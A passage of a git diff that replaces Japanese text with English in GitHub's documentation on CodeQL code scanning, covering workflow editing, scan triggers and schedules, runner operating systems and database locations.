subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in Microsoft Docs -- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs +- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs \ No newline at end of file diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md index 4127c94c85..be3d1c507d 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md @@ -20,16 +20,16 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## {% data variables.product.prodname_codeql %}との{% data variables.product.prodname_code_scanning %}について +## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} {% data reusables.code-scanning.about-codeql-analysis %} There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: -- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. 詳しい情報については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)」を参照してください。 +- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)." - Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." -## {% data variables.product.prodname_codeql %} について +## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers. @@ -37,20 +37,20 @@ There are two main ways to use {% data variables.product.prodname_codeql %} anal 2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase. 3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}. -{% data variables.product.prodname_codeql %} はコンパイル言語とインタープリタ言語の両方をサポートし、サポートされている言語で記述されたコードの脆弱性とエラーを見つけることができます。 +{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} ## About {% data variables.product.prodname_codeql %} queries -{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. 詳しい情報については、GitHub Security Lab Web サイトの「[{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql)」を参照してください。 You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation. +{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) on the GitHub Security Lab website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation. -You can run additional queries as part of your code scanning analysis. +You can run additional queries as part of your code scanning analysis. {%- if codeql-packs %} These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a QL pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional QL packs: -- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. +- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. - QL packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" and "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" in the {% data variables.product.prodname_codeql %} documentation. @@ -58,5 +58,5 @@ For more information, see "[About {% data variables.product.prodname_codeql %} p {% data reusables.code-scanning.beta-codeql-packs-cli %} {%- else %} -The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. 詳しい情報については、「[{% data variables.product.prodname_ql %} パックについて](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)」を参照してください。 +The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. For more information, see "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)." {% endif %} diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md index b4cb5db67d..c51ed6834e 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -1,6 +1,6 @@ --- -title: コードスキャンを設定する -intro: '{% data variables.product.prodname_dotcom %} がプロジェクトのコードをスキャンして脆弱性やエラーを検出する方法を設定できます。' +title: Configuring code scanning +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.' miniTocMaxHeadingLevel: 3 @@ -22,64 +22,65 @@ topics: - Pull requests - JavaScript - Python -shortTitle: Code scanningの設定 +shortTitle: Configure code scanning --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## {% data variables.product.prodname_code_scanning %} の設定について +## About {% data variables.product.prodname_code_scanning %} configuration -{% data variables.product.prodname_actions %}を使って、あるいは継続的インテグレーション（CI）システムから、{% data variables.product.product_name %}上で{% data variables.product.prodname_code_scanning %}を実行できます。 詳しい情報については「[{% data variables.product.prodname_actions %}について](/actions/getting-started-with-github-actions/about-github-actions)」あるいは +You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or {%- ifversion fpt or ghes > 3.0 or ghae-next %} -「[CIシステムでの{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)」を参照してください。 +"[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)." {%- else %} -「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。 +"[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% endif %} -この記事は、Actionsを使って{% data variables.product.product_name %} 上で {% data variables.product.prodname_code_scanning %} を実行することについて説明しています。 +This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions. -リポジトリに {% data variables.product.prodname_code_scanning %} を設定する前に、リポジトリに {% data variables.product.prodname_actions %} ワークフローを追加して {% data variables.product.prodname_code_scanning %} をセットアップする必要があります。 詳しい情報については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 +Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." {% data reusables.code-scanning.edit-workflow %} -{% data variables.product.prodname_codeql %} 解析は、{% data variables.product.prodname_dotcom %} で実行できる {% data variables.product.prodname_code_scanning %} のほんの一例に過ぎません。 {% ifversion ghes %}{% data variables.product.prodname_dotcom_the_website %}上の{% endif %}{% data variables.product.prodname_marketplace %}は、使用可能な他の{% data variables.product.prodname_code_scanning %}ワークフローを含みます。 {% ifversion fpt or ghec %}**{% octicon "shield" aria-label="The shield symbol" %} セキュリティ**タブからアクセスできる"Get started with {% data variables.product.prodname_code_scanning %}"ページ上には、それらの選択肢があります。{% endif %}この記事で示されている例は、{% data variables.product.prodname_codeql_workflow %}ファイルに関連しています。 +{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file. -## Editing a code scanning workflow +## Editing a {% data variables.product.prodname_code_scanning %} workflow -{% data variables.product.prodname_dotcom %} は、リポジトリの _.github/workflows_ ディレクトリにワークフローファイルを保存します。 ファイル名を検索して、追加済みのワークフローを見つけることができます。 For example, the default workflow file for CodeQL code scanning is called `codeql-analysis.yml`. +{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_. -1. リポジトリで、編集したいワークフローファイルにアクセスします。 -1. ファイルビューの右上隅の {% octicon "pencil" aria-label="The edit icon" %}をクリックしてワークフローエディタを開きます。 ![ワークフローファイルの編集ボタン](/assets/images/help/repository/code-scanning-edit-workflow-button.png) -1. ファイルを編集したら、[**Start commit**] をクリックして、[Commit changes] フォームに入力します。 現在のブランチに直接コミットするか、新しいブランチを作成してプルリクエストを開始するかを選択できます。 ![codeql.yml ワークフローの更新をコミットする](/assets/images/help/repository/code-scanning-workflow-update.png) +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. +![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png) +1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request. +![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png) -ワークフローファイルの編集に関する詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。 +For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -## 頻度を設定する +## Configuring frequency -スケジュール設定されているときや、リポジトリで特定のイベントが発生したときに、コードをスキャンできます。 +You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. -リポジトリへのプッシュごと、およびプルリクエストが作成されるたびにコードをスキャンすることで、開発者がコードに新しい脆弱性やエラーをもたらすことを防ぎます。 スケジュールに従ってコードをスキャンすると、開発者がリポジトリを積極的に維持していない場合でも、{% data variables.product.company_short %}、セキュリティ研究者、コミュニティが発見した最新の脆弱性とエラーが通知されます。 +Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. -### プッシュ時にスキャンする +### Scanning on push -デフォルトのワークフローを使用する場合、{% data variables.product.prodname_code_scanning %} は、イベントによってトリガーされるスキャンに加えて、リポジトリ内のコードを週に1回スキャンします。 このスケジュールを調整するには、ワークフローで `cron` 値を編集します。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#on)」を参照してください。 +By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." -プッシュ時にスキャンするなら、結果はリポジトリの** Security（セキュリティ）**タブに表示されます。 詳しい情報については、「[リポジトリの コードスキャンアラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} -Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% endif %} -### プルリクエストをスキャンする +### Scanning pull requests -デフォルトの {% data variables.product.prodname_codeql_workflow %} は、`pull_request` イベントを使用して、デフォルトブランチに対するプルリクエストのコードスキャンをトリガーします。 {% ifversion ghes %}`pull_request`イベントは、Pull Requestがプライベートフォークからオープンされたときにはトリガーされません。{% else %}Pull Requestがプライベートフォークからのものであれば、リポジトリの設定で"Run workflows from fork pull requests（フォークのPull Requestからワークフローを実行）"オプションを選択している場合にのみ`pull_request`イベントはトリガーされます。 For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} +The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} -`pull_request` イベントに関する詳しい情報については、「"[{% data variables.product.prodname_actions %}のためのワークフローの構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)」を参照してください。 +For more information about the `pull_request` event, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)." -Pull Requestをスキャンすると、その結果はPull Requestチェック内のアラートとして表示されます。 詳しい情報については、「[プルリクエストでコードスキャンアラートをトリアージする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 +If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." @@ -93,17 +94,17 @@ By default, only alerts with the severity level of `Error`{% ifversion fpt or gh {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. +1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -![チェック失敗の設定](/assets/images/help/repository/code-scanning-check-failure-setting.png) +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png) {% else %} -![チェック失敗の設定](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) +![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) {% endif %} {% endif %} -### プルリクエストの不要なスキャンを回避する +### Avoiding unnecessary scans of pull requests -どのファイルが変更されたかに関わらず、デフォルトブランチに対する特定のプルリクエストにコードスキャンがトリガーされることを避けたい場合もあるでしょう。 これを設定するには、{% data variables.product.prodname_code_scanning %} ワークフローで `on:pull_request:paths-ignore` または `on:pull_request:paths` を指定します。 たとえば、プルリクエストにおける変更が、`.md` または `.txt` のファイル拡張子を持つファイルである場合、次の `paths-ignore` 配列を使用できます。 +You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array. ``` yaml on: @@ -118,28 +119,28 @@ on: {% note %} -**注釈** +**Notes** -* `on:pull_request:paths-ignore` と `on:pull_request:paths` は、ワークフローのアクションがプルリクエストで実行されるかどうかを決定する条件を設定します。 アクションが実行されたときにどのファイルが解析__されるかは決定しません。 プルリクエストに、`on:pull_request:paths-ignore` または `on:pull_request:paths` にマッチしないファイルが含まれている場合、ワークフローはそのアクションを実行し、`on:pull_request:paths-ignore` または `on:pull_request:paths` にマッチするものを含む、プルリクエストにおいて変更されたすべてのファイルをスキャンします。ただし、除外されているファイルは除きます。 ファイルを解析から除外する方法については、「[スキャンするディレクトリを指定する](#specifying-directories-to-scan)」を参照してください。 -* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} ワークフローファイルに対しては、`on:push` イベントで `paths-ignore` や `paths` といったキーワードは使用しないでください。解析に漏れが生じる恐れがあります。 正確な結果を得るには、{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} が新しい変更を前回のコミットの解析と比較できる必要があります。 +* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)." +* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit. {% endnote %} -`on:pull_request:paths-ignore` と `on:pull_request:paths` を使用して、プルリクエストに対していつワークフローを実行するかを決定することに関する詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)」を参照してください。 +For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." -### スケジュールに従ってスキャンする +### Scanning on a schedule -デフォルトの {% data variables.product.prodname_code_scanning %} ワークフローは、`pull_request` イベントを使用して、プルリクエストの `HEAD` コミットでコードスキャンをトリガーします。 このスケジュールを調整するには、ワークフローで `cron` 値を編集します。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onschedule)」を参照してください。 +If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." {% note %} -**注釈**: {% data variables.product.prodname_dotcom %} は、デフォルトのブランチのワークフローにあるスケジュール設定されたジョブのみを実行します。 他のブランチのワークフローでスケジュールを変更しても、ブランチをデフォルトブランチにマージするまで影響はありません。 +**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch. {% endnote %} -### サンプル +### Example -以下の例は、デフォルトブランチの名前が `main` で、`protected` という保護されたブランチがある特定のリポジトリに対する {% data variables.product.prodname_codeql_workflow %} を示しています。 +The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. ``` yaml on: @@ -151,16 +152,16 @@ on: - cron: '20 14 * * 1' ``` -このワークフローは、次をスキャンします。 -* デフォルトブランチと保護されたブランチに対する全てのプッシュ -* デフォルトブランチに対する全てのプルリクエスト -* 毎週月曜の14:20 UTCにデフォルトブランチ +This workflow scans: +* Every push to the default branch and the protected branch +* Every pull request to the default branch +* The default branch every Monday at 14:20 UTC -## オペレーティングシステムを指定する +## Specifying an operating system -コードのコンパイルに特定のオペレーティングシステムが必要な場合は、そのオペレーティングシステムを {% data variables.product.prodname_codeql_workflow %} で設定できます。 `jobs.analyze.runs-on` の値を編集して、{% data variables.product.prodname_code_scanning %} のアクションを実行するマシンのオペレーティングシステムを指定します。 {% ifversion ghes %}オペレーティングシステムの指定には、`self-hosted` の後に、2 つの要素がある配列の 2 番目の要素として、適切なラベルを使用します。{% else %} +If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} -Code Scanningにセルフホストランナーを使うことにしたなら、`self-hosted` の後に、2 つの要素がある配列の 2 番目の要素として適切なラベルを使用し、オペレーティングシステムを指定できます。{% endif %} +If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %} ``` yaml jobs: @@ -169,16 +170,16 @@ jobs: runs-on: [self-hosted, ubuntu-latest] ``` -{% ifversion fpt or ghec %}詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」および「[セルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners)」を参照してください。{% endif %} +{% ifversion fpt or ghec %}For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."{% endif %} -{% data variables.product.prodname_code_scanning_capc %} は、macOS、Ubuntu、Windows の最新バージョンをサポートしています。 したがって、この設定の典型的な値は`ubuntu-latest`、`windows-latest`、`macos-latest`になります。 詳しい情報については、{% ifversion ghes %}「[GitHub Actions のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)」および「[セルフホストランナーでラベルを使用する](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)」{% else %}「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)」{% endif %}を参照してください。 +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see {% ifversion ghes %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners){% else %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on){% endif %}." -{% ifversion ghes %}GitがセルフホストランナーのPATH変数内にあるようにしなければなりません。{% else %}セルフホストランナーを使っているなら、GitがPATH変数内にあるようにしなければなりません。{% endif %} +{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## {% data variables.product.prodname_codeql %}データベースの場所の指定 +## Specifying the location for {% data variables.product.prodname_codeql %} databases -一般に、{% data variables.product.prodname_codeql_workflow %}が{% data variables.product.prodname_codeql %}データベースを置く場所について気にする必要はありません。これは、以前のステップで作成されたデータベースを後のステップは自動的に見つけるからです。 ただし、たとえばこのデータベースをワークフローの成果物としてアップロードするといったような、{% data variables.product.prodname_codeql %}データベースが特定のディスク上の場所にあることを必要とするカスタムのワークフローステップを書いているなら、`init`アクションの下で`db-location`を使って場所を指定することもできます。 +In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. {% raw %} ``` yaml @@ -188,22 +189,22 @@ jobs: ``` {% endraw %} -{% data variables.product.prodname_codeql_workflow %}は、`db-location`で提供されたパスが書き込み可能であり、存在しないか空のディレクトリであることを期待します。 セルフホストランナー上で動作するか、Dockerコンテナを使うジョブでこのパラメータを使う場合、選択されたディレクトリが実行間でクリアされること、あるいは不要になったらデータベースが削除されることを保証するのはユーザの責任です。 {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} +The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} -このパラメータが使われなければ、{% data variables.product.prodname_codeql_workflow %}はデータベースを自分が選択した一時的な場所に作成します。 +If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice. {% endif %} -## 解析される言語を変更する +## Changing the languages that are analyzed -{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning 